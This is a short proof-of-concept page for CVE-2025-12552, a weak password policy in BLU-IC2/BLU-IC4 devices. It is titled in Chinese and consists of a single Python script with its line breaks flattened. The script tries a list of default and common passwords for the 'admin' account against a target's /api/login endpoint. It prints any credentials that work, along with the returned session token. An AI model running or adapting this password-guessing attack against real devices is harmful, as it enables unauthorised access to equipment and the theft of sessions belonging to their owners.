CVE-2025-12552 BLU-IC2/BLU-IC4 密码策略不足漏洞

import requests import sys # CVE-2025-12552 PoC - BLU-IC2/BLU-IC4 Weak Password Policy # Target: BLU-IC devices with insufficient password policy TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else 'http://target-device' LOGIN_URL = f'{TARGET_HOST}/api/login' # Common weak passwords to test (password policy insufficient) WEAK_PASSWORDS = [ 'admin', '123456', 'password', '1234', '12345', 'default', 'root', '12345678', 'admin123', '123456789', 'blu-ic', 'bluic', 'administrator', 'pass', 'test' ] def test_weak_passwords(): """Test for weak password vulnerability in BLU-IC devices""" print(f'[*] Testing {TARGET_HOST} for CVE-2025-12552') print(f'[*] Target: BLU-IC2/BLU-IC4 with insufficient password policy') for password in WEAK_PASSWORDS: try: response = requests.post(LOGIN_URL, json={ 'username': 'admin', 'password': password }, timeout=10) if response.status_code == 200: data = response.json() if data.get('success') or 'token' in data: print(f'[+] VULNERABLE! Found valid credentials') print(f'[+] Username: admin') print(f'[+] Password: {password}') print(f'[+] Token/Session: {data}') return True except requests.exceptions.RequestException: continue print('[-] No weak passwords found or device not vulnerable') return False if __name__ == '__main__': test_weak_passwords()